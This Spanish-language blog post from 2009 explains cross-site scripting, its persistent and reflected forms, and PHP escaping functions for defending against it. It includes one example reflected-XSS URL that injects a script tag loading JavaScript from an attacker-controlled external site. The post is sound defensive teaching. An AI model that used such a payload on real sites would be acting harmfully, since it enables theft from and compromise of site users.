lunes, 9 de noviembre de 2009

Cross-site scripting - XSS

Es una vulnerabilidad debido a la falta de validación en la entrada de datos y esto permite cualquier inclusión de scripts: javascript, vbscripts.  También es conocido como Inyección HTML debido a que se presenta cuando se incrusta HTML.


Hay dos tipos de ataque XSS:

  • Directo (persistente)
  • Indirecto (reflejado)


Directo: cuando el atacante es un usuario que ingresa scripts por medio de formularios.


Esto sucede cuando al usuario se le permite incluir información, como en blogs, foros, etc. y la información no es correctamente validada, lo cual un atacante puede incluir iframe, scripts, estilos que puedan comprometer la seguridad de la información.


Para evitar esto PHP tiene funciones que nos ayudan a resolver este problema: strip_tags(), nl2br(), htmlspecialchars().


strip_tags().- Elimina etiquetas HTML y PHP de una cadena de texto. Previene que el atacante no inserte código que comprometa la seguridad del sitio por ejemplo: scripts, vbscript, html, estilos.

nl2br().- Convierte nuevas líneas ( /n ) por salto de línea en HTML ( <br/> ). Útil para el tag textarea, y presentar las nuevas líneas como código HTML.

htmlspecialchars().- Lo que hace esta función es traducir los caracteres que son especiales en HTML en caracteres que son interpretados por el explorador como tal. Estos caracteres son: &, ", ', <, >. Si se desea traducir todas los caracteres que tengan una equivalencia en HTML se debe usar la siguiente función: htmlentities();


Indirecto:  cuando el atacante utiliza las variables de entrada de una página para ingresar scripts, por ejemplo: pagina.php?var=mensaje uno, aquí el atacante tiene la completa libertad para cambiar el mensaje o poder ingresar un script para su ejecución: pagina.php?var=<SCRIPT SRC=http://www.unsitio.org/script_atacante.js></SCRIPT>


Para evitar este tipo de ataque siempre debemos validar todas las entradas de los datos que vamos a recibir desde fuera. Esto lo explico mejor en las páginas: Seguridad en php: validación y filtro (POST, GET) - parte 1 y Seguridad en php: validación y filtro (POST, GET) - parte 2.

No hay comentarios: